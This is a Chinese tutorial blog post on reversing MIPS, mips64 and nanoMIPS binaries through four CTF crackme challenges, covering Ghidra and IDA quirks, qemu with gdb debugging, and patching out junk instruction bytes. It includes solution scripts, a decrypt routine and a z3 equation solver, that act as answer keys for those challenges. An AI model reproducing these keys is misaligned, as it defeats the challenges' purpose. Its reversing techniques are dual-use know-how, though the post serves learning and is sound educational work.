MIPS架构下的逆向初探

0x00 前言

本人是新接触mips下的逆向,本文参考了网上众多大佬的文章,权当是个人的学习总结,如有问题还请斧正。

本文主要是借助4道ctf里的题目来阐述。

参考文章:

https://blog.csdn.net/hit_shaoqi/article/details/53559914

https://blog.csdn.net/ck404/article/details/21403203

http://www.elecfans.com/d/1213039.html

https://blog.csdn.net/phunxm/article/details/8938123

https://bbs.pediy.com/thread-259892.htm

https://www.anquanke.com/post/id/169503#h2-4

 

0x01 静态分析的问题与总结

在x86下IDA的反编译非常的给力,但是在mips下,IDA即使有Retdec插件的帮助,但是局限也比较大(mips64此插件就反编译不了),所以推荐用ghidra。

我们用一道ctf举例(RCTF-cipher)

静态——RCTF-cipher

一位看雪的师傅写的wp:https://bbs.pediy.com/thread-259892.htm

     1.首先查看文件的信息

在虚拟机里用readelf指令查看;

readelf -h cipher

MIPS架构下的逆向初探_第1张图片

可以看出来是 mips64 大端,起始位置为0x120000c00(暂时只用这些信息)

2.我们可以到ghidra看一下:

MIPS架构下的逆向初探_第2张图片

我们可以非常简单的寻找到main函数:

MIPS架构下的逆向初探_第3张图片

 和在x86下申请内存的函数相似:

MIPS架构下的逆向初探_第4张图片

还有setvbuf

MIPS架构下的逆向初探_第5张图片

 (截的别的文章的图,找不到了)

第一句“&_gp”这是gp寄存器的重定位,之后会详细说明,暂时不管

main函数大致的意思是读入一个文件,然后继续进入cipher()函数,我们跟进:

cipher函数:

MIPS架构下的逆向初探_第6张图片

首先,第一个奇怪的地方就是CONCAT44,可以看一下帮助文档:

在这个位置:

MIPS架构下的逆向初探_第7张图片

我i们出现的问题是concat44:

MIPS架构下的逆向初探_第8张图片

CONCATxy(x,y的值可以变)系列的函数其实就是拼接函数,比如说CONCAT31(0xaabbcc, 0xdd) = 0xaabbccdd

至于为什么会出现这种东西?

内部反编译器的功能偶尔,反编译器可能会使用几个内部反编译器函数中的一个,这些函数不会被转换成更像“C”的表达式。使用这些参数可以指示pcode不正确,或者需要“调优”以使反编译器的输出更好。这也可能意味着反编译器需要一个额外的简化规则来处理特定的情况。

这就是我们静态时第一个要注意的问题:内部反编译器函数(稍后会有总结)

所以我们这句话的意思:就是把ciphertxt的数 / 16,之后的组数,(先减一再移位最后再加一的作用是让不足一组的算作一组)

之后往下看:

得到了两个随机数,然后扔到param[0]和param[1]的位置

这时要注意一下param的定义是undefined,也就是说,这块的定义反编译时有问题,这是我们静态时需要注意的第二个问题

Ps:指令的主要任务就是对操作数进行运算,操作数有不同的类型和长度,MIPS32 提供的基本数据类型如下:
(1)位(b):长度是 1bit。
(2)字节(Byte):长度是 8bit。
(3)半字(Half Word):长度是 16bit。
(4)字(Word):长度是 32bit。
(5)双字(Double Word):长度是 64bit。
(6)此外,还有 32 位单精度浮点数、64 位双精度浮点数等。

我们注意到这两个随机数都是单字节(8位):

MIPS架构下的逆向初探_第9张图片

seb: seb指令是Sign-Extend Byte 单字节拓展(这里有猫腻)

当把第一个数存到栈里时之后,栈帧加的是0x01,在压入第二个,相当于把这两个数组合到了一起。静态比较难读懂,推荐动调。(动调在下面说)。

(我的理解:然而后面的指令ld是双字(64位)移入,把ghidra搞蒙了)具体mips汇编,会在下文总结

之后进入循环,调用cipher,每次循环处理一组数据(16个字节,2个无符号长整型)。

我们来看cipher传入的参数 

第一个参数:acStack104+偏移--->逆向老司机一猜就知道是我们的flag

第二个参数:就是刚刚分组的ciphertxt

(这个时候有个奇怪的地方,就是刚刚的随机数哪去了,发现好像没用过,其实这里就是ghidra反编译的错误,估计是因为上面对param的定义有错误造成的,参数不正确是静态时要注意的第三个问题

带着问题,我们先进encrypt函数

MIPS架构下的逆向初探_第10张图片

逻辑非常简单,但是很明显uStack32不知道是什么

这时就考虑看汇编或者动调,动调在下一个阶段来讲,这里看一下汇编:

(用的wp里的图)

MIPS架构下的逆向初探_第11张图片

我们得知:in_a2在栈中0x08的位置,即stack[-0x8],结合划线处,我们可以判断,encrypt是有三个参数的,第三个参数就是in_a2,是一个指针。根据指令ld(load double word)判断,应该是个longlong*或者ulonglong*类型的指针

发现其实栈里存了三个参数,我们可以修改函数:

MIPS架构下的逆向初探_第12张图片

往前翻一下,可以看出就是随机数的地址:

MIPS架构下的逆向初探_第13张图片

 捋一下逻辑:(这里wp里的)

def decrypt(byte16, fc, fd):
    v48 = struct.unpack('>Q', byte16[:8])[0]
    v40 = struct.unpack('>Q', byte16[8:])[0]
    v32, v24 = fc, fd
    for i in range(0x1e, -1, -1):
        v48 = rol64(v48 ^ v40, 0x3d)
        v40 = rol64(ull((v40 ^ v32) - v48), 8)
        v32 = rol64(v32 ^ v24, 0x3d)
        v24 = rol64(ull((v24 ^ i) - v32), 8)
    v48 = rol64(v48 ^ v40, 0x3d)
    v40 = rol64(ull((v40 ^ v32) - v48), 8)
    return v48, v40

之后脚本参考看雪大佬里的wp

 

问题总结:

小小总结一下ghidra静态碰到的问题

1. 内部反编译器函数

2.当遇到 undefined定义时,要注意看汇编和动调,有可能影响下面的传参

3.修改函数

4. 有时ghidra里的got表反编译有问题,在这道题里没有体现。

0x02 动态分析的问题与总结

用IDA反编译

确实可以用ida来反编译,但是会有许多问题

依然那刚刚那道题(rctf-cipher)来举例

首先我们先装好qemu和qemu里对应的mips64的库

apt install qemu-user-static
sudo apt install libc6-mips64-cross

之后可以尝试运行:

qemu-mips64-static -L /usr/mips64-linux-gnuabi64/ cipher

-static参数,显示更多的调试信息

-L 因为是动态链接所以要指定libc库的路径

不过运行时会出现如下报错,这问题我们和下一道题一起解释。

qemu: uncaught target signal 11 (Segmentation fault) - core dumped
段错误 (核心已转储)

ida远程动态调试

动态——rctf_cipher

这个我们用wp里的方法https://bbs.pediy.com/thread-259892.htm

服务端:

qemu-mips64 -L /usr/mips64-linux-gnuabi64/ -g 23946 ./cipher > out

-g在23946端口开一个gdb调试

客户端:

Debugger->attach->remote GDB debugger

之后我们勾选

MIPS架构下的逆向初探_第14张图片

之后可以跑了

IDA动调问题:

1.在看雪那篇里提到了:

MIPS架构下的逆向初探_第15张图片

2.当我们继续往下调时,会出现这个情况,这也是刚刚我们运行不了的问题

MIPS架构下的逆向初探_第16张图片

 这个我们先放在这,这个和们下一道题出的问题相似,我们一起说

(之后cipher如何动调的,请参考看雪的那篇wp)

动态——ddctf_babymips

这道题的wp参考:https://kabeor.cn/DDCTF2018%20Reverse%20writeup(1)%20baby_mips/

我们查一下文件信息:

MIPS架构下的逆向初探_第17张图片

mips32小端

悄悄静态看一下:

  1. 在ida里搜索,很轻松就定位为main函数
  2. 可以在Ghidra里找到对应位置看反编译

MIPS架构下的逆向初探_第18张图片

可以判断出主要的加密在FUN_00400420里(不过此函数里对比汇编发现有很多都没有反编译出来)

我们尝试跑一下:因为是静态链接,静态链接的程序可以像正常程序一样运行

MIPS架构下的逆向初探_第19张图片

同样发现了“段错误”的报错

我们用同样的方法把它连到ida上:

qemu-mipsel -g 23946 baby_mips

插一句:qemu-你需要的指令集 -g 端口 文件名

原理:qemu -g port指令开启一个gdbserver。port另一端可以由IDA或gdb连接调试。

连上之后我们一路单步,来到运行时报错的位置

ida跳出:

MIPS架构下的逆向初探_第20张图片

和上面一道的错误如出一辙

我们来看一下机器码:

MIPS架构下的逆向初探_第21张图片

因为是小端,所以这块就是 “EB 02 0A E7”

而mips下一条指令无论如何都是4字节,所以我们尝试把这个地方的eb02  nop掉

之后会发现,依然有这个报错

我们再次查看汇编,发现还是机器码在eb02处出相同的问题

那我们来仔细看一下解析一下这个“EB02”

因为我们是在x86下模拟的mips,而在x86指令级下/xEB是jmp的意思

MIPS架构下的逆向初探_第22张图片

而02则是相对的偏移

举个例子:

地址  机器码   

00     EB02     #jmp 0x04

02     0AE7     # 又因为一条mips指令为4字节 EB 02 0A E7  相当于跳到

                      #下一条指令

04     .......

‘02’机器码是在这个02地址基础上偏移,所以jmp的地址为 02 + 02 = 04

而mips下一条指令固定是4字节,所以造成了段错误(简而言之就是访问了不该访问的地址),姑且可以看作花指令,

这个东西不止导致动调失败,也会导致静态反编译失败

ps:上一道的段错误也应该是相似的原因(具体我还没有细看)

MIPS架构下的逆向初探_第23张图片

 (这是cipher发生段错时的情况)

 

之后我们的办法就是把所有的eb02都nop掉

idapython:

‘cq674350529’

MIPS架构下的逆向初探_第24张图片

把它保存到baby_mips_Patch里,再运行,ok了

MIPS架构下的逆向初探_第25张图片

 

这时候再反编译,原来的400420里有了算法

太大了放不下了

MIPS架构下的逆向初探_第26张图片

(还有好多)

是16个方程求解

果断z3:(当然方法很多)

from z3 import *

a = [BitVec("a%d"%i, 32) for i in range(16)]
s = Solver()
s.add(0xca6a*a[0] -0xd9ee*a[1] +0xc5a7*a[2] +0x19ee*a[3] +0xb223*a[4] +0x42e4*a[5] +0xc112*a[6] -0xcf45*a[7] +0x260d*a[8] +0xd78d*a[9] +0x99cb*a[10] -0x3e58*a[11] -0x97cb*a[12] +0xfba9*a[13] -0xdc28*a[14] +0x859b*a[15]  == 0xaa2ed7)
s.add(0xf47d*a[0] +0x12d3*a[1] -0x4102*a[2] +0xcedf*a[3] -0xafcf*a[4] -0xeb20*a[5] -0x2065*a[6] +0x36d2*a[7] -0x30fc*a[8] -0x7e5c*a[9] +0xeea8*a[10] +0xd8dd*a[11] -0xae2*a[12] +0xc053*a[13] +0x5158*a[14] -0x8d42*a[15]  == 0x69d32e)
s.add(0xffff52cf*a[0] -0x4fea*a[1] +0x2075*a[2] +0x9941*a[3] -0xbd78*a[4] +0x9e58*a[5] +0x40ad*a[6] -0x8637*a[7] -0x2e08*a[8] +0x4414*a[9] +0x2748*a[10] +0x1773*a[11] +0xe414*a[12] -0x7b19*a[13] +0x6b71*a[14] -0x3dcf*a[15]  == 0x3b89d9)
s.add(0xffffedd7*a[0] -0x1df0*a[1] +0x8115*a[2] +0x54bd*a[3] -0xf2ba*a[4] +0xdbd*a[5] +0x1dcf*a[6] +0x272*a[7] -0x2fcc*a[8] -0x93d8*a[9] -0x6f6c*a[10] -0x98ff*a[11] +0x2148*a[12] -0x6be2*a[13] +0x2e56*a[14] -0x7bdf*a[15]  == 0xff6a5aea)
s.add(0xffffa8c1*a[0] +0xdc78*a[1] -0x380f*a[2] +0x33c0*a[3] -0x7252*a[4] -0xe5a9*a[5] +0x7a53*a[6] -0x4082*a[7] -0x584a*a[8] +0xc8db*a[9] +0xd941*a[10] +0x6806*a[11] -0x8b97*a[12] +0x23d4*a[13] +0xac2a*a[14] +0x20ad*a[15]  == 0x953584)
s.add(0x5bb7*a[0] -0xfdb2*a[1] +0xaaa5*a[2] -0x50a2*a[3] -0xa318*a[4] +0xbcba*a[5] -0x5e5a*a[6] +0xf650*a[7] +0x4ab6*a[8] -0x7e3a*a[9] -0x660c*a[10] +0xaed9*a[11] -0xa60f*a[12] +0xf924*a[13] -0xff1d*a[14] +0xc888*a[15]  == 0xffd31341)
s.add(0x812d*a[0] -0x402c*a[1] +0xaa99*a[2] -0x33b*a[3] +0x311b*a[4] -0xc0d1*a[5] -0xfad*a[6] -0xc1bf*a[7] -0x1560*a[8] -0x445b*a[9] -0x9b78*a[10] +0x3b94*a[11] +0x2531*a[12] -0xfb03*a[13] +0x8*a[14] +0x8721*a[15]  == 0xff9a6b57)
s.add(0x15c5*a[0] +0xb128*a[1] -0x957d*a[2] +0xdf80*a[3] +0xee68*a[4] -0x3483*a[5] -0x4b39*a[6] -0x3807*a[7] -0x4f77*a[8] +0x652f*a[9] -0x686f*a[10] -0x7fc1*a[11] -0x5d2b*a[12] -0xb326*a[13] -0xacde*a[14] +0x1f11*a[15]  == 0xffd6b3d3)
s.add(0xaf37*a[0] +0x709*a[1] +0x4a95*a[2] -0xa445*a[3] -0x4c32*a[4] -0x6e5c*a[5] -0x45a6*a[6] +0xb989*a[7] +0xf5b7*a[8] +0x3980*a[9] -0x151d*a[10] +0xaf13*a[11] +0xa134*a[12] +0x67ff*a[13] +0xce*a[14] +0x79cf*a[15]  == 0xc6ea77)
s.add(0xffff262a*a[0] +0xdf05*a[1] -0x148e*a[2] -0x4758*a[3] -0xc6b2*a[4] -0x4f94*a[5] -0xf1f4*a[6] +0xcf8*a[7] +0xf5f1*a[8] -0x7883*a[9] -0xe2c6*a[10] -0x67*a[11] +0xeccc*a[12] -0xc630*a[13] -0xba2e*a[14] -0x6e41*a[15]  == 0xff1daae5)
s.add(0xffff9be3*a[0] -0x716d*a[1] +0x4505*a[2] -0xb99d*a[3] +0x1f00*a[4] +0x72bc*a[5] -0x7ff*a[6] +0x8945*a[7] -0xcc33*a[8] -0xab8f*a[9] +0xde9e*a[10] -0x6b69*a[11] -0x6380*a[12] +0x8cee*a[13] -0x7a60*a[14] +0xbd39*a[15]  == 0xff5be0b4)
s.add(0x245e*a[0] +0xf2c4*a[1] -0xeb20*a[2] -0x31d8*a[3] -0xe329*a[4] +0xa35a*a[5] +0xaacb*a[6] +0xe24d*a[7] +0xeb33*a[8] +0xcb45*a[9] -0xdf3a*a[10] +0x27a1*a[11] +0xb775*a[12] +0x713e*a[13] +0x5946*a[14] +0xac8e*a[15]  == 0x144313b)
s.add(0x157*a[0] -0x5f9c*a[1] -0xf1e6*a[2] +0x550*a[3] -0x441b*a[4] +0x9648*a[5] +0x8a8f*a[6] +0x7d23*a[7] -0xe1b2*a[8] -0x5a46*a[9] -0x5461*a[10] +0xee5f*a[11] -0x47e6*a[12] +0xa1bf*a[13] +0x6cf0*a[14] -0x746b*a[15]  == 0xffd18bd2)
s.add(0xf81b*a[0] -0x76cb*a[1] +0x543d*a[2] -0x4a85*a[3] +0x1468*a[4] +0xd95a*a[5] +0xfbb1*a[6] +0x6275*a[7] +0x30c4*a[8] -0x9595*a[9] -0xdbff*a[10] +0x1d1d*a[11] +0xb1cf*a[12] -0xa261*a[13] +0xf38e*a[14] +0x895c*a[15]  == 0xb5cb52)
s.add(0xffff6b97*a[0] +0xd61d*a[1] +0xe843*a[2] -0x8c64*a[3] +0xda06*a[4] +0xc5ad*a[5] +0xd02a*a[6] -0x2168*a[7] +0xa89*a[8] +0x2dd*a[9] -0x80cc*a[10] -0x9340*a[11] -0x3f07*a[12] +0x4f74*a[13] +0xb834*a[14] +0x1819*a[15]  == 0xa6014d)
s.add(0x48ed*a[0] +0x2141*a[1] +0x33ff*a[2] +0x85a9*a[3] -0x1c88*a[4] +0xa7e6*a[5] -0xde06*a[6] +0xbaf6*a[7] +0xc30f*a[8] -0xada6*a[9] -0xa114*a[10] -0x86e9*a[11] +0x70f9*a[12] +0x7580*a[13] -0x51f8*a[14] -0x492f*a[15]  == 0x2fde7c)


if(s.check()==sat):
    c = b''
    m = s.model()
    for i in range(16):
        print("a[%d]=%d"%(i, m[a[i]].as_long()))
    for i in range(16):
        print(chr(m[a[i]].as_long()&0xff), end='')

 

之后我们来聊一下GDB动调

GDB动态调试

用IDA来动调是有弊端的,我们来看下一道题 (在绿盟看到的一道题姑且叫它)  绿盟-mips64

ps:刚刚我们聊的两道题,都是可以反编译,可以调试,而且ida可以通过字符串找到main,但是很多mips的题是无法反编译的,例如接下来这道,所以要有读汇编的准备。

参考文章:https://www.anquanke.com/post/id/169503#h2-4

老规矩看一下信息:

MIPS架构下的逆向初探_第27张图片

mips64 大端 

这道题无法反编译(原因没有探究,根据报错可能是.rel.dyn重定向表的问题)

ghidra尝试:

MIPS架构下的逆向初探_第28张图片

我们来看一下ida里可不可以找确定main位置

MIPS架构下的逆向初探_第29张图片

无法交叉引用,定位困难,估计还是跟.rel.dyn有关系

静态看不出啥了,

所以首要任务就是动调找到main函数

我们依然尝试用ida连一下:

直接尝试运行,成功

看来是静态链接,且没有eb02这种错误

用同样的方法练一下ida

qemu-mips64 -g 23946 ./mips64

MIPS架构下的逆向初探_第30张图片

会在start函数里直接跑飞

发现会running之后,没有提示,直接输入了,之后退出。

ida动调直接就飞了

我们来用gdb动调

调试mips64,我们需要用mips64-linux-gdb来调试

具体的安装就看上述文章里:

MIPS架构下的逆向初探_第31张图片

 把mips64-linux-gdb装到环境变量里,用的时候更方便,方法如下

echo $PATH
export PATH=(你自己到bin的路径)/bin:$PATH

添加bin文件的路径到环境变量

vi .bashrc

在文件的最后一行添加: 

export PATH=(你自己到bin的路径)bin:$PATH  保存退出即可

添加bin文件的路径

开始链接:

服务端:

启动qemu时,使用-g 9999 开启 gdbserver ,9999是调试端口号,gdb中用这个端口号链接gdbserver。

qemu-mips64 -g 9999 ./mips64

或者写上-strace参数来让程序输出更多的调试信息

qemu-mips64-strace -g 9999 ./mips64

 客户端:

在题目目录里打开mips64-linux-gdb

mips64-linux-gdb

 在gdb里

(gdb) file mips64 
Reading symbols from mips64...(no debugging symbols found)...done. 
(gdb) set architecture mips:isa64r2 
The target architecture is assumed to be mips:isa64r2 
(gdb) target remote localhost:9999 
Remote debugging using localhost:9999 
0x0000000120003c50 in ?? ()

连接成功

9999是调试端口号

MIPS架构下的逆向初探_第32张图片

0x0000000120003c50是程序的入口点,在ida动调的时候也从这块开始

Mips64-linux-gdb的指令基础:(和普通的gdb指令一样)

i r #查看所有寄存器 

i fl #查看所有fpu 

c #继续程序到下一个断点 

ni #单步执行 

x /10i $pc #查看当前指令情况

okk之后开始动调:

 直接先按 c 跑飞,看qemu那边给出的信息:

MIPS架构下的逆向初探_第33张图片

linux应该就是read,进行系统调用

Write read函数的地址知道了

如何定位main函数?

为了定位,可以把所有IDA里的函数都下断点,锁定输入,与输出(wrong)之间函数,就能确定main函数里调用的函数

把ida里的函数都改成断点的格式:

b* 0x。。。。。

MIPS架构下的逆向初探_第34张图片。。。。。。。

(博主就用excel 然后 word改了一下格式)

MIPS架构下的逆向初探_第35张图片

放到gdb里下断点

要注意下的是,有的函数有很多次

MIPS架构下的逆向初探_第36张图片

程序开始输入:

从此记录期间的函数:

0x0000000120014740 in ?? ()

0x0000000120014740 in ?? ()

0x000000012001f110 in ?? ()

0x000000012000d6b0 in ?? ()

0x000000012001f110 in ?? ()

0x00000001200206e0 in ?? ()

0x00000001200138a0 in ?? ()

0x0000000120012978 in ?? ()

0x0000000120012120 in ?? ()

0x000000012000ffc8 in ?? ()

0x00000001200112f0 in ?? ()

0x0000000120022504 in ?? ()

之后们d把断点清一清,再再这几个函数下断点

此时我们无形中已经进入main

确定比较的位置:

思路:

通过错误情况这一分支,一个一个函数往上找,一直到分支点(有用户输入)到IDA里查看汇编,之后在正确的分支里就可以看到加密函数。

我们知道,最后一个断点之后就是wrong

所以从后面开始找

而在比较函数里一定会有用户的输入,当传进这个函数的参数中有用户的输入,那么很可能是比较函数

一些mips64的知识:

函数的输入参数分别在寄存器a0,a1,a2…中,关注这几个寄存器的值,就可以知道某个函数如sub_120022504(a0,a1,a2)的输入参数(现在这里提一嘴,之后会详细总结)

 开始:

我的输入为“123456”

120022504情况:

MIPS架构下的逆向初探_第37张图片

a1里面是wrong flag

我们再往上找:

1200112f0情况:

一直往上找.........

12001f110情况:

MIPS架构下的逆向初探_第38张图片

经过不懈的努力终于在第一个12001f110出现用户的输入,

大胆猜测这里调用这个函数的地方就是main函数,定位到IDA里。

按‘x’交叉引用:

MIPS架构下的逆向初探_第39张图片

来到main函数:

MIPS架构下的逆向初探_第40张图片

很明显,这是一个判断,猜测就是判断字符串长度0x10

沿着猜测的错误线可以看到:

bal     sub_12000D6B0

这个在上文发现是错误,

这里可以验证12001f110就是cmp的函数,而第一个判断就是在判断字符串长度,flag size为16

接下来就要结合gdb读汇编了,在这里我们来插一段对mips汇编及其特性的总结:

mips汇编及其特性的总结

其实这些寄存器的名字都是英文缩写,还是很好记的

寄存器:

有一个IDE叫MARS可以用它来编一编汇编

$zero     就把它当成常数0通常是用来在寄存器里移动用到 eg. add $t0, $zero, $t1  #把t1的值放到t0里

$at         这是给汇编器暂时存数用的,可以不考虑

$v0, $v1   存函数的返回值

$a0~$a3  存函数传进去的参数

$t0~$t9    暂存寄存器   类似于x86下的ebx啥的

$s0~$s7   储存寄存器   姑且可以把它理解在栈里 

  eg. addi $s0, $zero, 30

        addi $sp, $sp, -4

        sw   $s0, 0($sp)

当然用完之后,我们还需要恢复现场(和x86一样)

$k0,$k1  给内核用的

$gp   保存全局变量指针        

$sp   堆栈指针寄存器(sp),MIPS使用的是直接的指令(例如addiu) 来升降堆栈,请注意区别在X86中使用指令POP和PUSH来升降堆栈的做法。在X86平台下,使用的是esp寄存器当做堆栈指针。

在子程序的入口,sp会被升到该子程序需要用到的最大堆栈的位置。在子程序中,堆栈的升降的汇编代码一般都大同小异,

$ ra   存储返回地址   jr  $ra

之后就是fpu的寄存器了,它们主要在浮点型计算时用到

 一些指令

很多,就说一些在ctf中常看到的

1. lw  (load word)加载指令,存储器和寄存器沟通的两个桥梁之一,同理还有 la(load address)  li (load immediate data)  ld(dword)  lh(半字) lb(字节)lwc1(加载浮点数)......在ida里看到此类的姑且就当成x86里的mov就好

2.sw(store word)储存指令,存储器和寄存器沟通的另一个桥梁,通常是存到栈里。

3.add 相加 当然还有 mul(乘) sub(减)  div(除) ,拿add说明:在ida里很多长daddiu这个样子,需要注意的是加减乘除是分整数(add),单精度浮点数(add.s),双精度浮点数的(add.d),需注意!

4.beq bne  两数相等,两数不相等,通常结合slt(set less then)来当c语言里的“if”,还要注意的就是分支延时(下文会说)

5. jar  把它当作x86下的call

6. c.eq.s 或者 c.eq.d 分别是单精度浮点数,与双精度浮点数的比较

 个人感觉知道一些基础的指令,一些没见过的指令也可以猜个八九不离十。

寻址方式

https://blog.csdn.net/phunxm/article/details/8938123

摘抄自上文章

MIPS32中一条32位的指令是无法直接寻址32位的内存地址,加载(lw,load word)和存储(sw,store word)的机器指令数据域offset只支持16位编码。实际上,MIPS硬件只支持一种寻址方式,那就是“基址寄存器+16位有符号偏移量”。任何加载(存储)指令都类似如下格式:“lw $1,offset($2)”。可以使用任何寄存器作为目的操作数和源操作数,偏移量offset是一个有符号的16位数(-32768~32767),以上指令的效果为$1=$2+offset

这样就带来一个问题,当我们意欲加载一个32位的常数或地址时,就得使用两条或多条原子机器指令组合完成。这将是一件非常沉闷枯燥的事情,所幸汇编器提供了合成指令。当我们使用li指令加载一个32位的立即数时,汇编宏处理器会自动识别立即数类型,并把li拆成两条或多条组合指令。这中宏汇编其实并不神奇,类似C语言中的宏块,内含逻辑判断测试指令和操作指令。通过这种合成指令,汇编器提供了简单的直接寻址方式和更多复杂的寻址方式,但均需分解扩展成原子指令序列完成。

 当然还有利用gp寄存器相对寻址的,这个我们下文再说

分支延时

简单来说:mips64的跳转指令时(b开头的指令),会执行跳转后一条语句之后再跳,而“后一条语句“的位置就是分支延时槽

原因:https://blog.csdn.net/hit_shaoqi/article/details/53559914

引入分支延迟槽的目的主要是为了提高流水线的效率。

流水线中,分支指令执行时因为确定下一条指令的目标地址(紧随其后 or 跳转目标处?)一般要到第 2 级以后,在目标确定前流水线的取指级是不能工作的,即整个流水线就“浪费”(阻塞)了一个时间片,为了利用这个时间片,在体系结构的层面上规定跳转指令后 面的一个时间片为分支延迟槽(branch delay slot)。位于分支延迟槽中的指令总是被执行,与分支发生与否没有关系。这样就有效利用了一个时间片,消除了流水线的一个“气泡”。

这种技术手段主要用在早期没有分支预测的流水线 RISC 上,现代 RISC 实现早就可以在流水线的第 2 级利用分支预测确定跳转的目标,分支延迟槽也就失去了原来的价值,但为了软件上的兼容性 MIPS 和 PowerPC 还是作了保留。

 结合到ctf里就是分支延时槽的位置是无法下断点的

当然对应还有加载延时,在这里就不说了

暂且先这么多,插入结束,我们回到题目上来。

 

继续题目:

如果我们的字符串长度正确的话,我们会走120003b5c(可以拿gdb试一下)

MIPS架构下的逆向初探_第41张图片

用到了$f 寄存器,这是在浮点型利用的寄存器

进入4个函数,并把返回的值,加起来

用的是c.lt.s 单精度比较,

所以先看一个函数120003eb0,重新调试,这回知道长度所以用“1234567890abcdef”

看一下函数传参:

MIPS架构下的逆向初探_第42张图片

只是把 input传进了

之后结合gdb,和之前的一些mips的知识开始读汇编:

MIPS架构下的逆向初探_第43张图片

接下来:

MIPS架构下的逆向初探_第44张图片

继续:

MIPS架构下的逆向初探_第45张图片

 

MIPS架构下的逆向初探_第46张图片

MIPS架构下的逆向初探_第47张图片

MIPS架构下的逆向初探_第48张图片

MIPS架构下的逆向初探_第49张图片

已经看出来眉目,继续

MIPS架构下的逆向初探_第50张图片

MIPS架构下的逆向初探_第51张图片

MIPS架构下的逆向初探_第52张图片

MIPS架构下的逆向初探_第53张图片

MIPS架构下的逆向初探_第54张图片

MIPS架构下的逆向初探_第55张图片

MIPS架构下的逆向初探_第56张图片

MIPS架构下的逆向初探_第57张图片

以上就是读入4位

1位,3位组合成16进制

2位,4位组合成16进制

之后进行比较:

MIPS架构下的逆向初探_第58张图片

在进行比较的时候在gdb里下断点

看一下fpu里的值:这里是单精度比较

MIPS架构下的逆向初探_第59张图片

同理:

MIPS架构下的逆向初探_第60张图片

啊~~~~结束了.

0x03 生僻的mips架构

在ctf中已经不满足只是mips32  mips64这总比较常见的mips架构,在最近的0ctf/tctf中的两道mips架构奇怪,我们以其中的babymips来说明,并解释另一种定位main函数的方法

上题:

MIPS架构下的逆向初探_第61张图片

32小端,架构只知道是"0xf9"在elf文件的框架对应的是e_machine这个位置,可以去找一下,对应的是nanomips

入口地址位0x4003F6

这种生僻架构反编译就别想了

像上体mips64一样我们要找的第一件事就是工具链

工具链

nanoMIPS暂时知道只有一种反汇编器:

http://codescape.mips.com/components/toolchain/nanomips/2018.04-02/downloads.html

根据这道32位的题,选这个:

MIPS架构下的逆向初探_第62张图片

之后复制到linux里解压:

MIPS架构下的逆向初探_第63张图片

之后一路进入bin文件里

然后验证一下找没装好:

执行:

./nanomips-linux-musl-gcc -v

有可能会出现:

这是64位机与32位工具链不兼容

解决:

第一种:sudo apt-get install lib32bz2-1.0

第二种:

  1. su 现进root
  2. dpkg --add-architecture i386
  3. apt-get update
  4. apt-get upgrade
  5. apt-get install lib32ncurses5 lib32z1

之后再执行./nanomips-linux-musl-gcc -v

MIPS架构下的逆向初探_第64张图片

之后就开始配环境变量

echo $PATH

 export PATH=(你的路径)/bin:$PATH

(添加bin文件的路径到环境变量)

之后再:

vi .bashrc

进去之后在最后一行加一句

export PATH=(你的路径)/bin:$PATH  保存退出即可。

=======================安装工具链完成====================

解题

先读一下文件:

nanomips-linux-musl-readelf -a babymips

MIPS架构下的逆向初探_第65张图片

可以看到更多的信息

使用objdump来反汇编

nanomips-linux-musl-objdump -d babymips

 用法就和普通的objdump一样:

objdump -f test

显示test的文件头信息

objdump -d test

反汇编test中的需要执行指令的那些section

objdump -D test

与-d类似,但反汇编test中的所有section

objdump -h test

显示test的Section Header信息

objdump -x test

显示test的全部Header信息

objdump -s test

除了显示test的全部Header信息,还显示他们对

 之后就需要来确定main函数的位置了

我们先说结论:

先看一下全局变量 gp寄存器里存全局变量的指针

nanomips-linux-musl-readelf -a babymips | grep gp

MIPS架构下的逆向初探_第66张图片

之后来到入口(start函数)

MIPS架构下的逆向初探_第67张图片

读汇编,其中的a6存的就是gp寄存器偏移52的函数,对照上图找到对应函数,就是__libc_start_main函数。其中传进去的第一个参数就是main函数的地址,就是4006e4,下文讲一下具体原因

之后就是动调,看汇编

nanomips-linux-musl-gdb动调:

服务端:

qemu-nanomips -L /home/yyq/nanoMIPS/nanomips-linux-musl/2018.04-02/sysroot/nanomips-r6-soft-musl/ -g 9999 babymips

-L 写库的路径, -g 后写端口号

客户端:

另一边开启nanomips-linux-musl-gdb之后
File babymips

接下来设置架构,可以先查一下:

set architecture

对照readelf里的信息,我们选nanomips:isa32r6

 

set architecture nanomips:isa32r6

之后连上就行

target remote localhost:9999

就可以动调看汇编了

参考:

https://hxp.io/blog/74/0CTF-2020-writeups/

注释:

4006e4:	save	128,fp,ra,gp                 // 
4006e8: addiu fp,sp,-3968 4006ec: lapc gp,4200ac <_fini+0x1f91c> 4006f0: addiu a3,sp,12 4006f2: li a2,90 4006f4: movep a0,a1,a3,zero 4006f6: lw a3,48(gp) 4006fa: jalrc a3 memset(sp + 12, 0x00, 90); 4006fc: addiu a3,sp,12 4006fe: li a2,62 400700: movep a0,a1,zero,a3 400702: lw a3,36(gp) 400706: jalrc a3 read(0, sp + 12, 62); 400708: lbu a3,73(sp) 40070c: bneic a3,125,40077c <_init+0x3b4> 400710: addiu a3,sp,12 400712: li a2,5 400714: lapc a1,400800 <_fini+0x70> 400718: move a0,a3 40071a: lw a3,40(gp) 40071e: jalrc a3 strncmp(sp + 12, "flag{", 5); 400720: move a3,a0 400722: bnezc a3,40077c <_init+0x3b4> 400724: sw zero,108(sp) *(int *)(sp + 108) = 0; 400726: li a3,5 400728: sw a3,104(sp) *(int *)(sp + 104) = 5; 40072a: bc 400758 <_init+0x390> 40072c: lw a3,108(sp) 40072e: addiu a3,a3,1 400730: sw a3,108(sp) *(int *)(sp + 108)++; 400732: lapc a2,420000 <_fini+0x1f870> 400736: lw a3,108(sp) 400738: addu a3,a2,a3 40073a: lbu a3,0(a3) 40073c: bnezc a3,40072c <_init+0x364> if (arr_0x420000[*(int *)(sp + 108)] != 0) goto 40072c 40073e: lw a3,104(sp) 400740: addiu a2,sp,112 400742: addu a3,a2,a3 400744: lbu a2,-100(a3) a2 = *(char *)(sp + 12 + *(int *)(sp + 104)); 400748: lapc a1,420000 <_fini+0x1f870> 40074c: lw a3,108(sp) 40074e: addu a3,a1,a3 400750: sb a2,0(a3) arr_0x420000[*(int *)(sp + 108)] = flag[*(int *)(sp + 104)]; 400752: lw a3,104(sp) 400754: addiu a3,a3,1 400756: sw a3,104(sp) *(int *)(sp + 104)++; 400758: lw a3,104(sp) 40075a: bltic a3,61,400732 <_init+0x36a> if (*(int *)(sp + 104*) < 61) goto 400732 40075e: balc 4006b6 400760: move a3,a0 